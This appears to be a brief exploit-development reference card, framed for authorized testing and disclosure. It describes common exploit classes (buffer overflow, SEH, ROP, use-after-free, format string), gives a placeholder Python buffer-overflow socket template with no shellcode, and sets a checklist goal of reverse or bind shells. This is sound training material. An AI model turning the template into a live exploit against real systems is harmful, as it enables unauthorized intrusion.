LoopyLuci Exploit Development Basics
Developing security exploits — from buffer overflows and structured exception handling through ROP chains, shellcode, and fuzzing techniques.
When to Use
- Developing PoC exploits for authorized testing
- Understanding exploitation techniques for defensive purposes
- Fuzzing applications to discover vulnerabilities
- Writing custom shellcode and payloads
- Creating exploit PoCs for vulnerability disclosure
Exploit Patterns
EXPLOIT_TYPES = {
'buffer_overflow': 'Overwrite buffer to control EIP/RIP, redirect execution to shellcode',
'seh_overflow': 'Overwrite Structured Exception Handler to gain control on exception',
'rop': 'Return-Oriented Programming — chain gadget addresses to bypass DEP/NX',
'use_after_free': 'Access freed memory to corrupt heap, achieve arbitrary read/write',
'integer_overflow': 'Overflow integer to bypass bounds checking, allocate too-small buffer',
'format_string': 'Use %x %n format specifiers for arbitrary memory read/write',
}
# Basic buffer overflow skeleton (Python)
BUFFER_OVERFLOW_TEMPLATE = """
import socket
target = "10.0.0.1"
port = 9999
# Pattern to find EIP offset (use pattern_create.rb)
payload = "A" * offset # Fill buffer to EIP
payload += "BBBB" # Overwrite EIP (control execution)
payload += "C" * 500 # Space for shellcode (after EIP)
s = socket.socket()
s.connect((target, port))
s.send(payload)
s.close()
"""
Verification Checklist
- Exploit environment isolated (VM sandbox)
- Target application crash verified
- EIP/SEH offset identified with pattern
- Bad characters identified and removed from payload
- Exploit achieves code execution (pop calc, bind shell, or reverse shell)
- Exploit reliable across multiple runs
- No unintended targets affected
- Exploit PoC documented with mitigations
- Responsible disclosure process followed